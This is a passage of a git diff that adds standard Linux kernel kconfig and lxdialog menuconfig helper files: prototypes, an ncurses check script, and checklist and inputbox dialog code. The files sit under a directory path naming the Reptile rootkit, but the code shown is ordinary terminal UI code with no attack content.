b/Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h new file mode 100644 index 0000000..ecdb965 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h @@ -0,0 +1,57 @@ +#include + +/* confdata.c */ +P(conf_parse,void,(const char *name)); +P(conf_read,int,(const char *name)); +P(conf_read_simple,int,(const char *name, int)); +P(conf_write_defconfig,int,(const char *name)); +P(conf_write,int,(const char *name)); +P(conf_write_autoconf,int,(void)); +P(conf_get_changed,bool,(void)); +P(conf_set_changed_callback, void,(void (*fn)(void))); +P(conf_set_message_callback, void,(void (*fn)(const char *fmt, va_list ap))); + +/* menu.c */ +P(rootmenu,struct menu,); + +P(menu_is_empty, bool, (struct menu *menu)); +P(menu_is_visible, bool, (struct menu *menu)); +P(menu_has_prompt, bool, (struct menu *menu)); +P(menu_get_prompt,const char *,(struct menu *menu)); +P(menu_get_root_menu,struct menu *,(struct menu *menu)); +P(menu_get_parent_menu,struct menu *,(struct menu *menu)); +P(menu_has_help,bool,(struct menu *menu)); +P(menu_get_help,const char *,(struct menu *menu)); +P(get_symbol_str, void, (struct gstr *r, struct symbol *sym, struct list_head + *head)); +P(get_relations_str, struct gstr, (struct symbol **sym_arr, struct list_head + *head)); +P(menu_get_ext_help,void,(struct menu *menu, struct gstr *help)); + +/* symbol.c */ +P(symbol_hash,struct symbol *,[SYMBOL_HASHSIZE]); + +P(sym_lookup,struct symbol *,(const char *name, int flags)); +P(sym_find,struct symbol *,(const char *name)); +P(sym_expand_string_value,const char *,(const char *in)); +P(sym_escape_string_value, const char *,(const char *in)); +P(sym_re_search,struct symbol **,(const char *pattern)); +P(sym_type_name,const char *,(enum symbol_type type)); +P(sym_calc_value,void,(struct symbol *sym)); +P(sym_get_type,enum symbol_type,(struct symbol *sym)); +P(sym_tristate_within_range,bool,(struct symbol *sym,tristate tri)); +P(sym_set_tristate_value,bool,(struct symbol *sym,tristate tri)); +P(sym_toggle_tristate_value,tristate,(struct symbol *sym)); +P(sym_string_valid,bool,(struct symbol *sym, const char *newval)); +P(sym_string_within_range,bool,(struct symbol *sym, const char *str)); +P(sym_set_string_value,bool,(struct symbol *sym, const char *newval)); +P(sym_is_changable,bool,(struct symbol *sym)); +P(sym_get_choice_prop,struct property *,(struct symbol *sym)); +P(sym_get_default_prop,struct property *,(struct symbol *sym)); +P(sym_get_string_value,const char *,(struct symbol *sym)); + +P(prop_get_type_name,const char *,(enum prop_type type)); + +/* expr.c */ +P(expr_compare_type,int,(enum expr_type t1, enum expr_type t2)); +P(expr_print,void,(struct expr *e, void (*fn)(void *, struct symbol *, const char *), void *data, int prevtoken)); diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore new file mode 100644 index 0000000..90b08ff --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore @@ -0,0 +1,4 @@ +# +# Generated files +# +lxdialog diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING new file mode 100644 index 0000000..a8999d8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING @@ -0,0 +1,4 @@ +This is NOT the official version of dialog. This version has been +significantly modified from the original. It is for use by the Linux +kernel configuration script. Please do not bother Savio Lam with +questions about this program. diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh new file mode 100644 index 0000000..4789b72 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh @@ -0,0 +1,87 @@ +#!/bin/sh +# Check ncurses compatibility + +# What library to link +ldflags() +{ + pkg-config --libs ncursesw 2>/dev/null && exit + pkg-config --libs ncurses 2>/dev/null && exit + for ext in so a dll.a dylib ; do + for lib in ncursesw ncurses curses ; do + $cc -print-file-name=lib${lib}.${ext} | grep -q / + if [ $? -eq 0 ]; then + echo "-l${lib}" + exit + fi + done + done + exit 1 +} + +# Where is ncurses.h? +ccflags() +{ + if [ -f /usr/include/ncursesw/curses.h ]; then + echo '-I/usr/include/ncursesw -DCURSES_LOC=""' + echo ' -DNCURSES_WIDECHAR=1' + elif [ -f /usr/include/ncurses/ncurses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses/curses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses.h ]; then + echo '-DCURSES_LOC=""' + else + echo '-DCURSES_LOC=""' + fi +} + +# Temp file, try to clean up after us +tmp=$(mktemp) +trap "rm -f $tmp" 0 1 2 3 15 + +# Check if we can link to ncurses +check() { + $cc -x c - -o $tmp 2>/dev/null <<'EOF' +#include CURSES_LOC +main() {} +EOF + if [ $? != 0 ]; then + echo " *** Unable to find the ncurses libraries or the" 1>&2 + echo " *** required header files." 1>&2 + echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2 + echo " *** " 1>&2 + echo " *** Install ncurses (ncurses-devel) and try again." 1>&2 + echo " *** " 1>&2 + exit 1 + fi +} + +usage() { + printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n" +} + +if [ $# -eq 0 ]; then + usage + exit 1 +fi + +cc="" +case "$1" in + "-check") + shift + cc="$@" + check + ;; + "-ccflags") + ccflags + ;; + "-ldflags") + shift + cc="$@" + ldflags + ;; + "*") + usage + exit 1 + ;; +esac diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c new file mode 100644 index 0000000..3b15c08 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c @@ -0,0 +1,332 @@ +/* + * checklist.c -- implements the checklist box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * Stuart Herbert - S.Herbert@sheffield.ac.uk: radiolist extension + * Alessandro Rubini - rubini@ipvvis.unipv.it: merged the two + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +static int list_width, check_x, item_x; + +/* + * Print list item + */ +static void print_item(WINDOW * win, int choice, int selected) +{ + int i; + char *list_item = malloc(list_width + 1); + + strncpy(list_item, item_str(), list_width - item_x); + list_item[list_width - item_x] = '\0'; + + /* Clear 'residue' of last item */ + wattrset(win, dlg.menubox.atr); + wmove(win, choice, 0); + for (i = 0; i < list_width; i++) + waddch(win, ' '); + + wmove(win, choice, check_x); + wattrset(win, selected ? dlg.check_selected.atr + : dlg.check.atr); + if (!item_is_tag(':')) + wprintw(win, "(%c)", item_is_tag('X') ? 'X' : ' '); + + wattrset(win, selected ? dlg.tag_selected.atr : dlg.tag.atr); + mvwaddch(win, choice, item_x, list_item[0]); + wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr); + waddstr(win, list_item + 1); + if (selected) { + wmove(win, choice, check_x + 1); + wrefresh(win); + } + free(list_item); +} + +/* + * Print the scroll indicators. + */ +static void print_arrows(WINDOW * win, int choice, int item_no, int scroll, + int y, int x, int height) +{ + wmove(win, y, x); + + if (scroll > 0) { + wattrset(win, dlg.uarrow.atr); + waddch(win, ACS_UARROW); + waddstr(win, "(-)"); + } else { + wattrset(win, dlg.menubox.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + y = y + height + 1; + wmove(win, y, x); + + if ((height < item_no) && (scroll + choice < item_no - 1)) { + wattrset(win, dlg.darrow.atr); + waddch(win, ACS_DARROW); + waddstr(win, "(+)"); + } else { + wattrset(win, dlg.menubox_border.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } +} + +/* + * Display the termination buttons + */ +static void print_buttons(WINDOW * dialog, int height, int width, int selected) +{ + int x = width / 2 - 11; + int y = height - 2; + + print_button(dialog, gettext("Select"), y, x, selected == 0); + print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); + + wmove(dialog, y, x + 1 + 14 * selected); + wrefresh(dialog); +} + +/* + * Display a dialog box with a list of options that can be turned on or off + * in the style of radiolist (only one option turned on at a time). + */ +int dialog_checklist(const char *title, const char *prompt, int height, + int width, int list_height) +{ + int i, x, y, box_x, box_y; + int key = 0, button = 0, choice = 0, scroll = 0, max_choice; + WINDOW *dialog, *list; + + /* which item to highlight */ + item_foreach() { + if (item_is_tag('X')) + choice = item_n(); + if (item_is_selected()) { + choice = item_n(); + break; + } + } + +do_resize: + if (getmaxy(stdscr) < (height + CHECKLIST_HEIGTH_MIN)) + return -ERRDISPLAYTOOSMALL; + if (getmaxx(stdscr) < (width + CHECKLIST_WIDTH_MIN)) + return -ERRDISPLAYTOOSMALL; + + max_choice = MIN(list_height, item_count()); + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + list_width = width - 6; + box_y = height - list_height - 5; + box_x = (width - list_width) / 2 - 1; + + /* create new window for the list */ + list = subwin(dialog, list_height, list_width, y + box_y + 1, + x + box_x + 1); + + keypad(list, TRUE); + + /* draw a box around the list items */ + draw_box(dialog, box_y, box_x, list_height + 2, list_width + 2, + dlg.menubox_border.atr, dlg.menubox.atr); + + /* Find length of longest item in order to center checklist */ + check_x = 0; + item_foreach() + check_x = MAX(check_x, strlen(item_str()) + 4); + check_x = MIN(check_x, list_width); + + check_x = (list_width - check_x) / 2; + item_x = check_x + 4; + + if (choice >= list_height) { + scroll = choice - list_height + 1; + choice -= scroll; + } + + /* Print the list */ + for (i = 0; i < max_choice; i++) { + item_set(scroll + i); + print_item(list, i, i == choice); + } + + print_arrows(dialog, choice, item_count(), scroll, + box_y, box_x + check_x + 5, list_height); + + print_buttons(dialog, height, width, 0); + + wnoutrefresh(dialog); + wnoutrefresh(list); + doupdate(); + + while (key != KEY_ESC) { + key = wgetch(dialog); + + for (i = 0; i < max_choice; i++) { + item_set(i + scroll); + if (toupper(key) == toupper(item_str()[0])) + break; + } + + if (i < max_choice || key == KEY_UP || key == KEY_DOWN || + key == '+' || key == '-') { + if (key == KEY_UP || key == '-') { + if (!choice) { + if (!scroll) + continue; + /* Scroll list down */ + if (list_height > 1) { + /* De-highlight current first item */ + item_set(scroll); + print_item(list, 0, FALSE); + scrollok(list, TRUE); + wscrl(list, -1); + scrollok(list, FALSE); + } + scroll--; + item_set(scroll); + print_item(list, 0, TRUE); + print_arrows(dialog, choice, item_count(), + scroll, box_y, box_x + check_x + 5, list_height); + + wnoutrefresh(dialog); + wrefresh(list); + + continue; /* wait for another key press */ + } else + i = choice - 1; + } else if (key == KEY_DOWN || key == '+') { + if (choice == max_choice - 1) { + if (scroll + choice >= item_count() - 1) + continue; + /* Scroll list up */ + if (list_height > 1) { + /* De-highlight current last item before scrolling up */ + item_set(scroll + max_choice - 1); + print_item(list, + max_choice - 1, + FALSE); + scrollok(list, TRUE); + wscrl(list, 1); + scrollok(list, FALSE); + } + scroll++; + item_set(scroll + max_choice - 1); + print_item(list, max_choice - 1, TRUE); + + print_arrows(dialog, choice, item_count(), + scroll, box_y, box_x + check_x + 5, list_height); + + wnoutrefresh(dialog); + wrefresh(list); + + continue; /* wait for another key press */ + } else + i = choice + 1; + } + if (i != choice) { + /* De-highlight current item */ + item_set(scroll + choice); + print_item(list, choice, FALSE); + /* Highlight new item */ + choice = i; + item_set(scroll + choice); + print_item(list, choice, TRUE); + wnoutrefresh(dialog); + wrefresh(list); + } + continue; /* wait for another key press */ + } + switch (key) { + case 'H': + case 'h': + case '?': + button = 1; + /* fall-through */ + case 'S': + case 's': + case ' ': + case '\n': + item_foreach() + item_set_selected(0); + item_set(scroll + choice); + item_set_selected(1); + delwin(list); + delwin(dialog); + return button; + case TAB: + case KEY_LEFT: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) + ? 1 : (button > 1 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(dialog); + break; + case 'X': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(dialog); + break; + case KEY_RESIZE: + delwin(list); + delwin(dialog); + on_key_resize(); + goto do_resize; + } + + /* Now, update everything... */ + doupdate(); + } + delwin(list); + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h new file mode 100644 index 0000000..b4343d3 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h @@ -0,0 +1,257 @@ +/* + * dialog.h -- common declarations for all dialog modules + * + * AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +#include +#include +#include +#include +#include + +#ifndef KBUILD_NO_NLS +# include +#else +# define gettext(Msgid) ((const char *) (Msgid)) +#endif + +#ifdef __sun__ +#define CURS_MACROS +#endif +#include CURSES_LOC + +/* + * Colors in ncurses 1.9.9e do not work properly since foreground and + * background colors are OR'd rather than separately masked. This version + * of dialog was hacked to work with ncurses 1.9.9e, making it incompatible + * with standard curses. The simplest fix (to make this work with standard + * curses) uses the wbkgdset() function, not used in the original hack. + * Turn it off if we're building with 1.9.9e, since it just confuses things. + */ +#if defined(NCURSES_VERSION) && defined(_NEED_WRAP) && !defined(GCC_PRINTFLIKE) +#define OLD_NCURSES 1 +#undef wbkgdset +#define wbkgdset(w,p) /*nothing */ +#else +#define OLD_NCURSES 0 +#endif + +#define TR(params) _tracef params + +#define KEY_ESC 27 +#define TAB 9 +#define MAX_LEN 2048 +#define BUF_SIZE (10*1024) +#define MIN(x,y) (x < y ? x : y) +#define MAX(x,y) (x > y ? x : y) + +#ifndef ACS_ULCORNER +#define ACS_ULCORNER '+' +#endif +#ifndef ACS_LLCORNER +#define ACS_LLCORNER '+' +#endif +#ifndef ACS_URCORNER +#define ACS_URCORNER '+' +#endif +#ifndef ACS_LRCORNER +#define ACS_LRCORNER '+' +#endif +#ifndef ACS_HLINE +#define ACS_HLINE '-' +#endif +#ifndef ACS_VLINE +#define ACS_VLINE '|' +#endif +#ifndef ACS_LTEE +#define ACS_LTEE '+' +#endif +#ifndef ACS_RTEE +#define ACS_RTEE '+' +#endif +#ifndef ACS_UARROW +#define ACS_UARROW '^' +#endif +#ifndef ACS_DARROW +#define ACS_DARROW 'v' +#endif + +/* error return codes */ +#define ERRDISPLAYTOOSMALL (KEY_MAX + 1) + +/* + * Color definitions + */ +struct dialog_color { + chtype atr; /* Color attribute */ + int fg; /* foreground */ + int bg; /* background */ + int hl; /* highlight this item */ +}; + +struct subtitle_list { + struct subtitle_list *next; + const char *text; +}; + +struct dialog_info { + const char *backtitle; + struct subtitle_list *subtitles; + struct dialog_color screen; + struct dialog_color shadow; + struct dialog_color dialog; + struct dialog_color title; + struct dialog_color border; + struct dialog_color button_active; + struct dialog_color button_inactive; + struct dialog_color button_key_active; + struct dialog_color button_key_inactive; + struct dialog_color button_label_active; + struct dialog_color button_label_inactive; + struct dialog_color inputbox; + struct dialog_color inputbox_border; + struct dialog_color searchbox; + struct dialog_color searchbox_title; + struct dialog_color searchbox_border; + struct dialog_color position_indicator; + struct dialog_color menubox; + struct dialog_color menubox_border; + struct dialog_color item; + struct dialog_color item_selected; + struct dialog_color tag; + struct dialog_color tag_selected; + struct dialog_color tag_key; + struct dialog_color tag_key_selected; + struct dialog_color check; + struct dialog_color check_selected; + struct dialog_color uarrow; + struct dialog_color darrow; +}; + +/* + * Global variables + */ +extern struct dialog_info dlg; +extern char dialog_input_result[]; +extern int saved_x, saved_y; /* Needed in signal handler in mconf.c */ + +/* + * Function prototypes + */ + +/* item list as used by checklist and menubox */ +void item_reset(void); +void item_make(const char *fmt, ...); +void item_add_str(const char *fmt, ...); +void item_set_tag(char tag); +void item_set_data(void *p); +void item_set_selected(int val); +int item_activate_selected(void); +void *item_data(void); +char item_tag(void); + +/* item list manipulation for lxdialog use */ +#define MAXITEMSTR 200 +struct dialog_item { + char str[MAXITEMSTR]; /* promtp displayed */ + char tag; + void *data; /* pointer to menu item - used by menubox+checklist */ + int selected; /* Set to 1 by dialog_*() function if selected. */ +}; + +/* list of lialog_items */ +struct dialog_list { + struct dialog_item node; + struct dialog_list *next; +}; + +extern struct dialog_list *item_cur; +extern struct dialog_list item_nil; +extern struct dialog_list *item_head; + +int item_count(void); +void item_set(int n); +int item_n(void); +const char *item_str(void); +int item_is_selected(void); +int item_is_tag(char tag); +#define item_foreach() \ + for (item_cur = item_head ? item_head: item_cur; \ + item_cur && (item_cur != &item_nil); item_cur = item_cur->next) + +/* generic key handlers */ +int on_key_esc(WINDOW *win); +int on_key_resize(void); + +/* minimum (re)size values */ +#define CHECKLIST_HEIGTH_MIN 6 /* For dialog_checklist() */ +#define CHECKLIST_WIDTH_MIN 6 +#define INPUTBOX_HEIGTH_MIN 2 /* For dialog_inputbox() */ +#define INPUTBOX_WIDTH_MIN 2 +#define MENUBOX_HEIGTH_MIN 15 /* For dialog_menu() */ +#define MENUBOX_WIDTH_MIN 65 +#define TEXTBOX_HEIGTH_MIN 8 /* For dialog_textbox() */ +#define TEXTBOX_WIDTH_MIN 8 +#define YESNO_HEIGTH_MIN 4 /* For dialog_yesno() */ +#define YESNO_WIDTH_MIN 4 +#define WINDOW_HEIGTH_MIN 19 /* For init_dialog() */ +#define WINDOW_WIDTH_MIN 80 + +int init_dialog(const char *backtitle); +void set_dialog_backtitle(const char *backtitle); +void set_dialog_subtitles(struct subtitle_list *subtitles); +void end_dialog(int x, int y); +void attr_clear(WINDOW * win, int height, int width, chtype attr); +void dialog_clear(void); +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x); +void print_button(WINDOW * win, const char *label, int y, int x, int selected); +void print_title(WINDOW *dialog, const char *title, int width); +void draw_box(WINDOW * win, int y, int x, int height, int width, chtype box, + chtype border); +void draw_shadow(WINDOW * win, int y, int x, int height, int width); + +int first_alpha(const char *string, const char *exempt); +int dialog_yesno(const char *title, const char *prompt, int height, int width); +int dialog_msgbox(const char *title, const char *prompt, int height, + int width, int pause); + + +typedef void (*update_text_fn)(char *buf, size_t start, size_t end, void + *_data); +int dialog_textbox(const char *title, char *tbuf, int initial_height, + int initial_width, int *keys, int *_vscroll, int *_hscroll, + update_text_fn update_text, void *data); +int dialog_menu(const char *title, const char *prompt, + const void *selected, int *s_scroll); +int dialog_checklist(const char *title, const char *prompt, int height, + int width, int list_height); +int dialog_inputbox(const char *title, const char *prompt, int height, + int width, const char *init); + +/* + * This is the base for fictitious keys, which activate + * the buttons. + * + * Mouse-generated keys are the following: + * -- the first 32 are used as numbers, in addition to '0'-'9' + * -- the lowercase are used to signal mouse-enter events (M_EVENT + 'o') + * -- uppercase chars are used to invoke the button (M_EVENT + 'O') + */ +#define M_EVENT (KEY_MAX+1) diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c new file mode 100644 index 0000000..447a582 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c @@ -0,0 +1,301 @@ +/* + * inputbox.c -- implements the input box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +char dialog_input_result[MAX_LEN + 1]; + +/* + * Print the termination buttons + */ +static void print_buttons(WINDOW * dialog, int height, int width, int selected) +{ + int x = width / 2 - 11; + int y = height - 2; + + print_button(dialog, gettext(" Ok "), y, x, selected == 0); + print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); + + wmove(dialog, y, x + 1 + 14 * selected); + wrefresh(dialog); +} + +/* + * Display a dialog box for inputing a string + */ +int dialog_inputbox(const char *title, const char *prompt, int height, int width, + const char *init) +{ + int i, x, y, box_y, box_x, box_width; + int input_x = 0, key = 0, button = -1; + int show_x, len, pos; + char *instr = dialog_input_result; + WINDOW *dialog; + + if (!init) + instr[0] = '\0'; + else + strcpy(instr, init); + +do_resize: + if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN)) + return -ERRDISPLAYTOOSMALL; + if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN)) + return -ERRDISPLAYTOOSMALL; + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + /* Draw the input field box */ + box_width = width - 6; + getyx(dialog, y, x); + box_y = y + 2; + box_x = (width - box_width) / 2; + draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2, + dlg.dialog.atr, dlg.border.atr); + + print_buttons(dialog, height, width, 0); + + /* Set up the initial value */ + wmove(dialog, box_y, box_x); + wattrset(dialog, dlg.inputbox.atr); + + len = strlen(instr); + pos = len; + + if (len >= box_width) { + show_x = len - box_width + 1; + input_x = box_width - 1; + for (i = 0; i < box_width - 1; i++) + waddch(dialog, instr[show_x + i]); + } else { + show_x = 0; + input_x = len; + waddstr(dialog, instr); + } + + wmove(dialog, box_y, box_x + input_x); + + wrefresh(dialog); + + while (key != KEY_ESC) { + key = wgetch(dialog); + + if (button == -1) { /* Input box selected */ + switch (key) { + case TAB: + case KEY_UP: + case KEY_DOWN: + break; + case KEY_BACKSPACE: + case 127: + if (pos) { + wattrset(dialog, dlg.inputbox.atr); + if (input_x == 0) { + show_x--; + } else + input_x--; + + if (pos < len) { + for (i = pos - 1; i < len; i++) { + instr[i] = instr[i+1]; + } + } + + pos--; + len--; + instr[len] = '\0'; + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, input_x + box_x); + wrefresh(dialog); + } + continue; + case KEY_LEFT: + if (pos > 0) { + if (input_x > 0) { + wmove(dialog, box_y, --input_x + box_x); + } else if (input_x == 0) { + show_x--; + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, box_x); + } + pos--; + } + continue; + case KEY_RIGHT: + if (pos < len) { + if (input_x < box_width - 1) { + wmove(dialog, box_y, ++input_x + box_x); + } else if (input_x == box_width - 1) { + show_x++; + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, input_x + box_x); + } + pos++; + } + continue; + default: + if (key < 0x100 && isprint(key)) { + if (len < MAX_LEN) { + wattrset(dialog, dlg.inputbox.atr); + if (pos < len) { + for (i = len; i > pos; i--) + instr[i] = instr[i-1]; + instr[pos] = key; + } else { + instr[len] = key; + } + pos++; + len++; + instr[len] = '\0'; + + if (input_x == box_width - 1) { + show_x++; + } else { + input_x++; + } + + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, input_x + box_x); + wrefresh(dialog); + } else + flash(); /* Alarm user about overflow */ + continue; + } + } + } + switch (key) { + case 'O': + case 'o': + delwin(dialog); + return 0; + case 'H': + case 'h': + delwin(dialog); + return 1; + case KEY_UP: + case KEY_LEFT: + switch (button) { + case -1: + button = 1; /* Indicates "Help" button is selected */ + print_buttons(dialog, height, width, 1); + break; + case 0: + button = -1; /* Indicates input box is selected */ + print_buttons(dialog, height, width, 0); + wmove(dialog, box_y, box_x + input_x); + wrefresh(dialog); + break; + case 1: + button = 0; /* Indicates "OK" button is selected */ + print_buttons(dialog, height, width, 0); + break; + } + break; + case TAB: + case KEY_DOWN: + case KEY_RIGHT: + switch (button) { + case -1: + button = 0; /* Indicates "OK" button is selected */ + print_buttons(dialog, height, width, 0); + break; + case 0: + button = 1; /* Indicates "Help" button is selected */ + print_buttons(dialog, height, width, 1); + break; + case 1: + button = -1; /* Indicates input box is selected */ + print_buttons(dialog, height, width, 0); + wmove(dialog, box_y, box_x + input_x); + wrefresh(dialog); + break; + } + break; + case ' ': + case '\n': + delwin(dialog); + return (button == -1 ? 0 : button); + case 'X': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(dialog); + break; + case KEY_RESIZE: + delwin(dialog); + on_key_resize(); + goto do_resize; + } + } + + delwin(dialog); + return KEY_ESC; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c new file mode 100644 index 0000000..b0d0d69 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c @@ -0,0 +1,437 @@ +/* + * menubox.c -- implements the menu box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcapw@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +/* + * Changes by Clifford Wolf (god@clifford.at) + * + * [ 1998-06-13 ] + * + * *) A bugfix for the Page-Down problem + * + * *) Formerly when I used Page Down and Page Up, the cursor would be set + * to the first position in the menu box. Now lxdialog is a bit + * smarter and works more like other menu systems (just have a look at + * it). + * + * *) Formerly if I selected something my scrolling would be broken because + * lxdialog is re-invoked by the Menuconfig shell script, can't + * remember the last scrolling position, and just sets it so that the + * cursor is at the bottom of the box. Now it writes the temporary file + * lxdialog.scrltmp which contains this information. The file is + * deleted by lxdialog if the user leaves a submenu or enters a new + * one, but it would be nice if Menuconfig could make another "rm -f" + * just to be sure. Just try it out - you will recognise a difference! + * + * [ 1998-06-14 ] + * + * *) Now lxdialog is crash-safe against broken "lxdialog.scrltmp" files + * and menus change their size on the fly. + * + * *) If for some reason the last scrolling position is not saved by + * lxdialog, it sets the scrolling so that the selected item is in the + * middle of the menu box, not at the bottom. + * + * 02 January 1999, Michael Elizabeth Chastain (mec@shout.net) + * Reset 'scroll' to 0 if the value from lxdialog.scrltmp is bogus. + * This fixes a bug in Menuconfig where using ' ' to descend into menus + * would leave mis-synchronized lxdialog.scrltmp files lying around, + * fscanf would read in 'scroll', and eventually that 